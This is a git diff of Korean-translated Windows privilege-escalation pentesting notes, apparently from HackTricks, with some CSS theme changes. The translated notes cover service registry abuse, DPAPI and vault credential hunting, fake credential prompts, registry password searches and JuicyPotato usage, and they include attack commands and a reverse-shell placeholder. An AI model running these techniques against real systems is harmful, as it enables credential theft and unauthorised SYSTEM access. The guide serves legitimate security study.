서비스 **레지스트리**에 대한 **권한**을 확인하려면 다음을 수행하십시오:
```bash
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
@ -507,7 +507,7 @@ reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t RE
```
### 서비스 레지스트리 AppendData/AddSubdirectory 권한
이 권한이 레지스트리에 있으면 **이 레지스트리에서 하위 레지스트리를 생성할 수 있습니다**. Windows 서비스의 경우, 이는 **임의 코드를 실행하기에 충분합니다:**
레지스트리에 대해 이 권한이 있으면 **이 레지스트리에서 하위 레지스트리를 생성할 수 있습니다**. Windows 서비스의 경우 이는 **임의 코드를 실행하기에 충분합니다:**
{{#ref}}
appenddata-addsubdirectory-permission-over-service-registry.md
@ -515,7 +515,7 @@ appenddata-addsubdirectory-permission-over-service-registry.md
### 인용되지 않은 서비스 경로
실행 파일의 경로가 인용부호 안에 없으면, Windows는 공백 이전의 모든 끝을 실행하려고 시도합니다.
실행 파일의 경로가 인용부호 안에 없으면 Windows는 공백 이전의 모든 끝을 실행하려고 시도합니다.
예를 들어, 경로 _C:\Program Files\Some Folder\Service.exe_에 대해 Windows는 다음을 실행하려고 시도합니다:
```powershell
@ -664,7 +664,7 @@ Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
[**방화벽 관련 명령어는 이 페이지를 확인하세요**](../basic-cmd-for-pentesters.md#firewall) **(규칙 목록, 규칙 생성, 끄기, 끄기...)**
더 많은 [네트워크 열거 명령어는 여기](../basic-cmd-for-pentesters.md#network)에서 확인하세요.
네트워크 열거를 위한 더 많은[ 명령어는 여기](../basic-cmd-for-pentesters.md#network)에서 확인하세요.
### 윈도우 리눅스 하위 시스템 (wsl)
```bash
@ -680,7 +680,7 @@ wsl whoami
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
```
bash를 루트로 쉽게 시작하려면 `--default-user root`를 시도 수 있습니다.
bash를 루트로 쉽게 시작하려면 `--default-user root`를 시도해 볼 수 있습니다.
`WSL` 파일 시스템은 `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` 폴더에서 탐색할 수 있습니다.
@ -703,9 +703,9 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
Windows 금고는 **Windows**가 **사용자를 자동으로 로그인**할 수 있는 서버, 웹사이트 및 기타 프로그램에 대한 사용자 자격 증명을 저장합니다. 처음에는 사용자가 Facebook 자격 증명, Twitter 자격 증명, Gmail 자격 증명 등을 저장하여 브라우저를 통해 자동으로 로그인할 수 있는 것처럼 보일 수 있습니다. 하지만 그렇지 않습니다.
Windows 금고는 Windows가 사용자를 자동으로 로그인할 수 있는 자격 증명을 저장합니다. 이는 **자원에 접근하기 위해 자격 증명이 필요한 모든 Windows 애플리케이션**이 **이 자격 증명 관리자** 및 Windows 금고를 사용하여 사용자가 항상 사용자 이름과 비밀번호를 입력하는 대신 제공된 자격 증명을 사용할 수 있음을 의미합니다.
Windows 금고는 Windows가 사용자를 자동으로 로그인할 수 있는 자격 증명을 저장합니다. 이는 **자원에 접근하기 위해 자격 증명이 필요한 모든 Windows 애플리케이션**이 이 자격 증명 관리자 및 Windows 금고를 사용하여 사용자가 항상 사용자 이름과 비밀번호를 입력하는 대신 제공된 자격 증명을 사용할 수 있음을 의미합니다.
애플리케이션이 자격 증명 관리자와 상호 작용하지 않는 한, 특정 자원에 대한 자격 증명을 사용하는 것은 불가능하다고 생각합니다. 따라서 애플리케이션이 금고를 사용하려면 어떤 식으로든 **자격 증명 관리자와 통신하여 해당 자원에 대한 자격 증명을 기본 저장 금고에서 요청해야** 합니다.
애플리케이션이 자격 증명 관리자와 상호 작용하지 않는 한, 특정 자원에 대한 자격 증명을 사용하는 것은 불가능하다고 생각합니다. 따라서 애플리케이션이 금고를 사용하려면 어떤 식으로든 **자격 증명 관리자와 통신하여 기본 저장 금고에서 해당 자원에 대한 자격 증명을 요청해야 합니다**.
`cmdkey`를 사용하여 머신에 저장된 자격 증명을 나열합니다.
```bash
@ -731,7 +731,7 @@ mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credential
**DPAPI는 사용자의 로그인 비밀에서 파생된 대칭 키를 통해 키의 암호화를 가능하게 합니다**. 시스템 암호화가 포함된 시나리오에서는 시스템의 도메인 인증 비밀을 사용합니다.
DPAPI를 사용하여 암호화된 사용자 RSA 키는 `%APPDATA%\Microsoft\Protect\{SID}` 디렉토리에 저장되며, 여기서 `{SID}`는 사용자의 [보안 식별자](https://en.wikipedia.org/wiki/Security_Identifier)를 나타냅니다. **DPAPI 키는 사용자의 개인 키를 보호하는 마스터 키와 동일한 파일에 위치하며**, 일반적으로 64바이트의 임의 데이터로 구성됩니다. (이 디렉토리에 대한 접근은 제한되어 있어 CMD의 `dir` 명령어로 내용을 나열할 수 없지만, PowerShell을 통해 나열할 수 있습니다).
DPAPI를 사용하여 암호화된 사용자 RSA 키는 `%APPDATA%\Microsoft\Protect\{SID}` 디렉토리에 저장되며, 여기서 `{SID}`는 사용자의 [보안 식별자](https://en.wikipedia.org/wiki/Security_Identifier)를 나타냅니다. **DPAPI 키는 사용자의 개인 키를 보호하는 마스터 키와 동일한 파일에 함께 위치하며**, 일반적으로 64바이트의 임의 데이터로 구성됩니다. (이 디렉토리에 대한 접근은 제한되어 있어 CMD의 `dir` 명령어로 내용을 나열할 수 없지만, PowerShell을 통해 나열할 수 있습니다).
```powershell
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
@ -754,7 +754,7 @@ dpapi-extracting-passwords.md
### PowerShell 자격 증명
**PowerShell 자격 증명**은 종종 **스크립팅** 및 자동화 작업을 위해 암호화된 자격 증명을 편리하게 저장하는 방법으로 사용됩니다. 자격 증명은 **DPAPI**를 사용하여 보호되며, 일반적으로 이는 동일한 컴퓨터에서 동일한 사용자에 의해서만 복호화될 수 있음을 의미합니다.
**PowerShell 자격 증명**은 종종 **스크립팅** 및 자동화 작업을 위해 암호화된 자격 증명을 편리하게 저장하는 방법으로 사용됩니다. 자격 증명은 **DPAPI**를 사용하여 보호되며, 일반적으로 이는 생성된 동일한 컴퓨터의 동일한 사용자만 복호화할 수 있음을 의미합니다.
자격 증명이 포함된 파일에서 PS 자격 증명을 **복호화**하려면 다음과 같이 할 수 있습니다:
```powershell
@ -795,7 +795,7 @@ Mimikatz `sekurlsa::dpapi` 모듈을 사용하여 메모리에서 **많은 DPAPI
### Sticky Notes
사람들은 종종 Windows 워크스테이션에서 StickyNotes 앱을 사용하여 **비밀번호** 및 기타 정보를 저장하지만, 이것이 데이터베이스 파일이라는 것을 인식하지 못합니다. 이 파일은 `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite`에 위치하며 항상 검색하고 검토할 가치가 있습니다.
사람들은 종종 Windows 워크스테이션에서 StickyNotes 앱을 사용하여 **비밀번호** 및 기타 정보를 저장하지만, 이것이 데이터베이스 파일이라는 것을 인식하지 못합니다. 이 파일은 `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite`에 위치하며, 항상 검색하고 검토할 가치가 있습니다.
### AppCmd.exe
@ -914,7 +914,7 @@ reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
```
> [!NOTE]
> 이 기술은 더 이상 유효하지 않은 것 같습니다. 나는 몇 개의 ssh 키를 생성하고 `ssh-add`로 추가한 후 ssh를 통해 머신에 로그인하려고 했습니다. 레지스트리 HKCU\Software\OpenSSH\Agent\Keys 존재하지 않으며 procmon은 비대칭 키 인증 중에 `dpapi.dll`의 사용을 식별하지 못했습니다.
> 이 기술은 더 이상 유효하지 않은 것 같습니다. 나는 몇 개의 ssh 키를 생성하고 `ssh-add`로 추가한 후 ssh를 통해 머신에 로그인하려고 했습니다. 레지스트리 HKCU\Software\OpenSSH\Agent\Keys 존재하지 않으며 procmon은 비대칭 키 인증 중에 `dpapi.dll`의 사용을 식별하지 못했습니다.
### Unattended files
```
@ -931,7 +931,7 @@ C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
```
이 파일을 **metasploit**를 사용하여 검색할 수도 있습니다: _post/windows/gather/enum_unattend_
이 파일을 **metasploit**를 사용하여 검색할 수도 있습니다: _post/windows/gather/enum_unattend_
예시 내용:
```xml
@ -980,7 +980,7 @@ AppData\Roaming\gcloud\access_tokens.db
이전에는 Group Policy Preferences (GPP)를 통해 여러 머신에 사용자 정의 로컬 관리자 계정을 배포할 수 있는 기능이 제공되었습니다. 그러나 이 방법에는 심각한 보안 결함이 있었습니다. 첫째, SYSVOL에 XML 파일로 저장된 Group Policy Objects (GPOs)는 모든 도메인 사용자가 접근할 수 있었습니다. 둘째, 공개적으로 문서화된 기본 키를 사용하여 AES256으로 암호화된 이 GPP 내의 비밀번호는 인증된 사용자가 복호화할 수 있었습니다. 이는 사용자가 권한 상승을 할 수 있는 심각한 위험을 초래했습니다.
이 위험을 완화하기 위해, 비어 있지 않은 "cpassword" 필드를 포함하는 로컬 캐시된 GPP 파일을 스캔하는 기능이 개발되었습니다. 이러한 파일을 찾으면, 이 기능은 비밀번호를 복호화하고 사용자 정의 PowerShell 객체를 반환합니다. 이 객체에는 GPP에 대한 세부정보와 파일의 위치가 포함되어 있어 이 보안 취약점을 식별하고 수정하는 데 도움이 됩니다.
이 위험을 완화하기 위해, 비어 있지 않은 "cpassword" 필드를 포함하는 로컬 캐시 GPP 파일을 검색하는 기능이 개발되었습니다. 이러한 파일을 찾으면, 이 기능은 비밀번호를 복호화하고 사용자 정의 PowerShell 객체를 반환합니다. 이 객체에는 GPP에 대한 세부정보와 파일의 위치가 포함되어 있어 이 보안 취약점을 식별하고 수정하는 데 도움이 됩니다.
다음 파일을 위해 `C:\ProgramData\Microsoft\Group Policy\history` 또는 _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (W Vista 이전)_에서 검색하세요:
@ -1014,7 +1014,7 @@ C:\inetpub\wwwroot\web.config
Get-Childitem Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
```
credentials가 포함된 web.config의 예:
웹.config의 자격 증명 예:
```xml
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
@ -1054,7 +1054,7 @@ Get-Childitem Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct
```
### 자격 증명 요청
사용자에게 **자신의 자격 증명이나 다른 사용자의 자격 증명을 입력하도록 요청할 수 있습니다**. 그가 이를 알 수 있다고 생각하는 경우 (클라이언트에게 **자격 증명**을 직접 **요청하는 것**은 정말 **위험**하다는 점에 유의하세요):
사용자에게 **자신의 자격 증명이나 다른 사용자의 자격 증명을 입력하도록 요청할 수 있습니다**. 그가 이를 알 수 있다고 생각하는 경우 (고객에게 **자격 증명**을 직접 **요청하는 것**은 정말 **위험**하다는 점에 유의하세요):
```bash
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
@ -1139,7 +1139,7 @@ Get-Childitem Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAct
```
### RecycleBin의 자격 증명
자격 증명이 있는지 확인하기 위해 Bin을 확인해야 합니다.
Bin을 확인하여 그 안에 자격 증명이 있는지 확인해야 합니다.
여러 프로그램에 의해 저장된 **비밀번호를 복구**하려면 다음을 사용할 수 있습니다: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html)
@ -1205,9 +1205,9 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d
```
### 비밀번호를 검색하는 도구
### 비밀번호를 검색하는 도구
[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **는 msf** 플러그인으로, 이 플러그인은 **희생자의 자격 증명을 검색하는 모든 metasploit POST 모듈을 자동으로 실행하기 위해 생성되었습니다.**\
[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **는 msf** 플러그인으로, 이 플러그인은 **희생자의 내부에서 자격 증명을 검색하는 모든 metasploit POST 모듈을 자동으로 실행하기 위해 생성되었습니다.**\
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 는 이 페이지에 언급된 비밀번호가 포함된 모든 파일을 자동으로 검색합니다.\
[**Lazagne**](https://github.com/AlessandroZ/LaZagne) 는 시스템에서 비밀번호를 추출하는 또 다른 훌륭한 도구입니다.
@ -1218,28 +1218,28 @@ Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
```
## 누출된 핸들
## Leaked Handlers
Imagine that **a process running as SYSTEM open a new process** (`OpenProcess()`) with **full access**. The same process **also create a new process** (`CreateProcess()`) **with low privileges but inheriting all the open handles of the main process**.\
Then, if you have **full access to the low privileged process**, you can grab the **open handle to the privileged process created** with `OpenProcess()` and **inject a shellcode**.\
[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\
[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
## 명명된 파이프 클라이언트 가장
## Named Pipe Client Impersonation
Shared memory segments, referred to as **pipes**, enable process communication and data transfer.
공유 메모리 세그먼트, 즉 **파이프**는 프로세스 간 통신 및 데이터 전송을 가능하게 합니다.
Windows provides a feature called **Named Pipes**, allowing unrelated processes to share data, even over different networks. This resembles a client/server architecture, with roles defined as **named pipe server** and **named pipe client**.
Windows는 **Named Pipes**라는 기능을 제공하여 관련 없는 프로세스가 서로 다른 네트워크를 통해서도 데이터를 공유할 수 있게 합니다. 이는 **named pipe server**와 **named pipe client**로 정의된 역할을 가진 클라이언트/서버 아키텍처와 유사합니다.
When data is sent through a pipe by a **client**, the **server** that set up the pipe has the ability to **take on the identity** of the **client**, assuming it has the necessary **SeImpersonate** rights. Identifying a **privileged process** that communicates via a pipe you can mimic provides an opportunity to **gain higher privileges** by adopting the identity of that process once it interacts with the pipe you established. For instructions on executing such an attack, helpful guides can be found [**here**](named-pipe-client-impersonation.md) and [**here**](./#from-high-integrity-to-system).
**클라이언트**가 파이를 통해 데이터를 전송할 때, 파이를 설정한 **서버**는 필요한 **SeImpersonate** 권한이 있는 경우 **클라이언트의 신원을 취할 수 있는** 능력을 가집니다. 파이를 통해 통신하는 **특권 프로세스**를 식별하고 그 신원을 모방할 수 있는 기회를 제공하여, 해당 프로세스가 설정한 파이프와 상호작용할 때 더 높은 권한을 **얻을 수 있습니다**. 이러한 공격을 실행하는 방법에 대한 지침은 [**여기**](named-pipe-client-impersonation.md)와 [**여기**](./#from-high-integrity-to-system)에서 찾을 수 있습니다.
Also the following tool allows to **intercept a named pipe communication with a tool like burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **and this tool allows to list and see all the pipes to find privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
또한 다음 도구는 **burp와 같은 도구로 named pipe 통신을 가로챌 수 있게 해줍니다:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **그리고 이 도구는 모든 파이프를 나열하고 볼 수 있게 해주어 privescs를 찾는 데 도움을 줍니다** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
## 기타
## Misc
### **비밀번호에 대한 명령줄 모니터링**
### **Monitoring Command Lines for passwords**
When getting a shell as a user, there may be scheduled tasks or other processes being executed which **pass credentials on the command line**. The script below captures process command lines every two seconds and compares the current state with the previous state, outputting any differences.
사용자로서 쉘을 얻을 때, **명령줄에 자격 증명을 전달하는** 예약된 작업이나 다른 프로세스가 실행될 수 있습니다. 아래 스크립트는 프로세스 명령줄을 2초마다 캡처하고 현재 상태를 이전 상태와 비교하여 차이점을 출력합니다.
```powershell
while($true)
{
@ -1251,7 +1251,7 @@ Compare-Object -ReferenceObject $process -DifferenceObject $process2
```
## 프로세스에서 비밀번호 훔치기
## 낮은 권한 사용자에서 NT\AUTHORITY SYSTEM으로 (CVE-2019-1388) / UAC 우회
## 낮은 권한 사용자에서 NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC 우회
그래픽 인터페이스(콘솔 또는 RDP를 통해)에 접근할 수 있고 UAC가 활성화된 경우, 일부 버전의 Microsoft Windows에서는 비권한 사용자로부터 "NT\AUTHORITY SYSTEM"과 같은 터미널이나 다른 프로세스를 실행할 수 있습니다.
@ -1319,14 +1319,14 @@ integrity-levels.md
### **새 서비스**
이미 높은 무결성 프로세스에서 실행 중이라면, **SYSTEM으로의 전환**은 **새 서비스를 생성하고 실행하는 것**으로 쉽게 할 수 있습니다:
이미 높은 무결성 프로세스에서 실행 중인 경우, **SYSTEM으로의 전환**은 **새 서비스를 생성하고 실행하는 것**으로 쉽게 할 수 있습니다:
```
sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
```
### AlwaysInstallElevated
High Integrity 프로세스에서 **AlwaysInstallElevated 레지스트리 항목을 활성화**하고 **역방향 셸을 설치**하려고 시도할 수 있습니다 _**.msi**_ 래퍼를 사용하여.\
High Integrity 프로세스에서 **AlwaysInstallElevated 레지스트리 항목을 활성화**하고 **역방향 셸을 설치**할 수 있습니다 _**.msi**_ 래퍼를 사용하여.\
[레지스트리 키와 _.msi_ 패키지를 설치하는 방법에 대한 더 많은 정보는 여기에서 확인하세요.](./#alwaysinstallelevated)
### High + SeImpersonate 권한을 System으로
@ -1347,18 +1347,20 @@ High Integrity 프로세스에서 **AlwaysInstallElevated 레지스트리 항목
### Dll Hijacking
**SYSTEM**으로 실행 중인 **프로세스**에 의해 **로드되는 dll을 하이재킹**하는 데 성공하면 해당 권한으로 임의의 코드를 실행할 수 있습니다. 따라서 Dll Hijacking은 이러한 종류의 권한 상승에도 유용하며, 게다가 **높은 무결성 프로세스에서 달성하기가 훨씬 더 쉽습니다**. 이는 **dll을 로드하는 데 사용되는 폴더에 대한 쓰기 권한**을 가지기 때문입니다.\
**SYSTEM**으로 실행 중인 **프로세스**에 의해 **로드되는 dll을 하이재킹**하는 데 성공하면 해당 권한으로 임의의 코드를 실행할 수 있습니다. 따라서 Dll Hijacking은 이러한 종류의 권한 상승에도 유용하며, 더욱이 **높은 무결성 프로세스에서 달성하기가 훨씬 더 쉽습니다**. 이는 **dll을 로드하는 데 사용되는 폴더에 대한 쓰기 권한이 있기 때문입니다**.\
**Dll 하이재킹에 대해** [**더 알고 싶다면 여기에서 확인하세요**](dll-hijacking/)**.**
### **Administrator 또는 Network Service에서 System으로**
{% embed url="https://github.com/sailay1996/RpcSsImpersonator" %}
{{#ref}}
https://github.com/sailay1996/RpcSsImpersonator
{{#endref}}
### LOCAL SERVICE 또는 NETWORK SERVICE에서 전체 권한으로
**읽어보세요:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers)
## 추가 도움
## 추가 도움
[정적 impacket 바이너리](https://github.com/ropnop/impacket_static_binaries)
@ -1383,7 +1385,7 @@ High Integrity 프로세스에서 **AlwaysInstallElevated 레지스트리 항목
**Exe**
[**Watson**](https://github.com/rasta-mouse/Watson) -- 알려진 privesc 취약점 검색 (VisualStudio를 사용하여 컴파일해야 함) ([**미리 컴파일된**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- 잘못된 구성을 검색하기 위해 호스트를 열거합니다 (privesc보다 정보 수집 도구에 가깝습니다) (컴파일 필요) **(**[**미리 컴파일된**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- 잘못된 구성을 검색하기 위해 호스트를 열거합니다 (정보 수집 도구에 가깝습니다) (컴파일 필요) **(**[**미리 컴파일된**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- 많은 소프트웨어에서 자격 증명을 추출합니다 (github에 미리 컴파일된 exe)**\
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUp의 C# 포트**\
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- 잘못된 구성 확인 (github에 미리 컴파일된 실행 파일). 권장하지 않음. Win10에서 잘 작동하지 않음.\
@ -1402,7 +1404,7 @@ High Integrity 프로세스에서 **AlwaysInstallElevated 레지스트리 항목
_multi/recon/local_exploit_suggestor_
프로젝트를 올바른 버전의 .NET을 사용하여 컴파일해야 합니다 ([이것을 참조하세요](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). 피해자 호스트에 설치된 .NET 버전을 려면 다음을 수행할 수 있습니다:
프로젝트를 올바른 버전의 .NET을 사용하여 컴파일해야 합니다 ([이것을 참조하세요](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). 피해자 호스트에 설치된 .NET 버전을 확인하려면 다음을 수행할 수 있습니다:
```
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
```

View File

@ -2,8 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING]
> **JuicyPotato는** Windows Server 2019 및 Windows 10 빌드 1809 이상에서 **작동하지 않습니다. 그러나** [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)를 사용하여 **동일한 권한을 활용하고 `NT AUTHORITY\SYSTEM`** 수준의 액세스를 얻을 수 있습니다. _**확인:**_
> [!WARNING] > **JuicyPotato는** Windows Server 2019 및 Windows 10 빌드 1809 이상에서 **작동하지 않습니다**. 그러나, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)를 사용하여 **동일한 권한을 활용하고 `NT AUTHORITY\SYSTEM`** 수준의 접근을 얻을 수 있습니다. _**확인:**_
{{#ref}}
roguepotato-and-printspoofer.md
@ -23,7 +22,7 @@ _조금의 주스를 더한_ [_RottenPotatoNG_](https://github.com/breenmachine/
우리는 [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG)를 무기화하기로 결정했습니다: **Juicy Potato에 인사하세요**.
> 이론에 대해서는 [Rotten Potato - 서비스 계정에서 SYSTEM으로의 권한 상승](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/)을 참조하고 링크와 참의 체인을 따라가세요.
> 이론에 대해서는 [Rotten Potato - 서비스 계정에서 SYSTEM으로의 권한 상승](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/)을 참조하고 링크와 참고 문헌의 체인을 따라가세요.
우리는 `BITS` 외에도 남용할 수 있는 여러 COM 서버가 있다는 것을 발견했습니다. 이들은 다음을 충족해야 합니다:
@ -31,11 +30,11 @@ _조금의 주스를 더한_ [_RottenPotatoNG_](https://github.com/breenmachine/
2. `IMarshal` 인터페이스를 구현해야 합니다.
3. 상승된 사용자(SYSTEM, Administrator 등)로 실행되어야 합니다.
몇 가지 테스트 후, 여러 Windows 버전에서 [흥미로운 CLSID 목록](http://ohpe.it/juicy-potato/CLSID/)을 얻고 테스트했습니다.
몇 가지 테스트 후, 여러 Windows 버전에서 [흥미로운 CLSID의](http://ohpe.it/juicy-potato/CLSID/) 광범위한 목록을 얻고 테스트했습니다.
### Juicy 세부사항 <a href="#juicy-details" id="juicy-details"></a>
JuicyPotato를 사용하면:
JuicyPotato는 다음을 허용합니다:
- **대상 CLSID** _원하는 CLSID를 선택하세요._ [_여기_](http://ohpe.it/juicy-potato/CLSID/) _에서 OS별로 정리된 목록을 찾을 수 있습니다._
- **COM 리스닝 포트** _선호하는 COM 리스닝 포트를 정의하세요 (하드코딩된 6666 대신)_
@ -48,7 +47,9 @@ JuicyPotato를 사용하면:
- **프로세스 인수** _실행된 프로세스 인수를 사용자 정의하세요_
- **RPC 서버 주소** _은밀한 접근을 위해 외부 RPC 서버에 인증할 수 있습니다_
- **RPC 서버 포트** _외부 서버에 인증하고 방화벽이 포트 `135`를 차단하는 경우 유용합니다…_
- **테스트 모드** _주로 테스트 목적으로, 즉 CLSID 테스트. DCOM을 생성하고 토큰의 사용자를 출력합니다. _[_테스트용 여기_](http://ohpe.it/juicy-potato/Test/)
- **테스트 모드** _주로 테스트 목적, 즉 CLSID 테스트를 위한 것입니다. DCOM을 생성하고 토큰의 사용자를 출력합니다. _[_테스트를 위한 여기_](http://ohpe.it/juicy-potato/Test/)를 참조하세요._
### 사용법 <a href="#usage" id="usage"></a>
```
T:\>JuicyPotato.exe
JuicyPotato v0.1
@ -104,21 +105,23 @@ c:\Users\Public>
## CLSID 문제
대부분의 경우, JuicyPotato가 사용하는 기본 CLSID는 **작동하지 않으며** 익스플로잇이 실패합니다. 일반적으로 **작동하는 CLSID**를 찾기 위해 여러 번 시도해야 합니다. 특정 운영 체제에 대해 시도할 CLSID 목록을 얻으려면 이 페이지를 방문해야 합니다:
대부분의 경우, JuicyPotato가 사용하는 기본 CLSID는 **작동하지 않**으며 익스플로잇이 실패합니다. 일반적으로 **작동하는 CLSID**를 찾기 위해 여러 번 시도해야 합니다. 특정 운영 체제에 대해 시도할 CLSID 목록을 얻으려면 이 페이지를 방문해야 합니다:
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
{{#ref}}
https://ohpe.it/juicy-potato/CLSID/
{{#endref}}
### **CLSID 확인**
### **CLSID 확인하기**
먼저, juicypotato.exe 외에 몇 가지 실행 파일이 필요합니다.
[Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1)를 다운로드하고 PS 세션에 로드한 후, [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1)을 다운로드하여 실행합니다. 이 스크립트는 테스트할 수 있는 CLSID 목록을 생성합니다.
[Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1)를 다운로드하고 PS 세션에 로드한 후, [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1)을 다운로드하여 실행합니다. 이 스크립트는 테스트할 수 있는 가능한 CLSID 목록을 생성합니다.
그런 다음 [test_clsid.bat](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(CLSID 목록과 juicypotato 실행 파일의 경로를 변경) 을 다운로드하고 실행합니다. 이 스크립트는 모든 CLSID를 시도하기 시작하며, **포트 번호가 변경되면 CLSID가 작동했음을 의미합니다**.
그런 다음 [test_clsid.bat](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)를 다운로드하고 (CLSID 목록과 juicypotato 실행 파일의 경로를 변경) 실행합니다. 이 스크립트는 모든 CLSID를 시도하기 시작하며, **포트 번호가 변경되면 CLSID가 작동했음을 의미합니다**.
**-c 매개변수를 사용하여** 작동하는 CLSID를 **확인하십시오.**
**매개변수 -c를 사용하여** 작동하는 CLSID를 **확인하세요.**
## 참고 문헌
## 참고자료
- [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md)

View File

@ -183,6 +183,13 @@ body.sidebar-visible #menu-bar {
}
/* Languages Menu Popup */
@media only screen and (max-width:799px) {
#menubar-languages-toggle span {
display: none !important;
}
}
#menubar-languages-toggle {
position: relative;
}
@ -244,6 +251,11 @@ html:not(.js) .left-buttons button {
cursor: pointer;
color: var(--fg);
}
@media only screen and (max-width:799px) {
.menu-title {
font-size: 1.4rem;
}
}
.menu-bar,
.menu-bar:visited,
@ -633,6 +645,11 @@ ul#searchresults li a span.teaser em {
color: var(--sidebar-fg);
}
}
@media only screen and (min-width:1440px) {
#sidebar-toggle{
display: none !important;
}
}
@media only screen and (max-width:549px) {
.sidebar {
position: fixed;
@ -835,7 +852,7 @@ html:not(.sidebar-resizing) .sidebar {
border-top: 1px solid var(--table-border-color);
margin-top: 1rem;
align-content: center;
z-index: 101;
z-index: 106;
}
.footer .theme-wrapper {
max-width: var(--container-max-width);

View File

@ -343,8 +343,8 @@
--warning-border: #ff8e00;
--table-border-color: #2f2f2f;
--table-header-bg: hsl(226, 23%, 31%);
--table-alternate-bg: hsl(226, 23%, 14%);
--table-header-bg: #2f2f2f;
--table-alternate-bg: #222222;
--searchbar-border-color: #2f2f2f;
--searchbar-bg: hsl(0, 0%, 11%);
@ -429,7 +429,7 @@
--warning-border: #ff8e00;
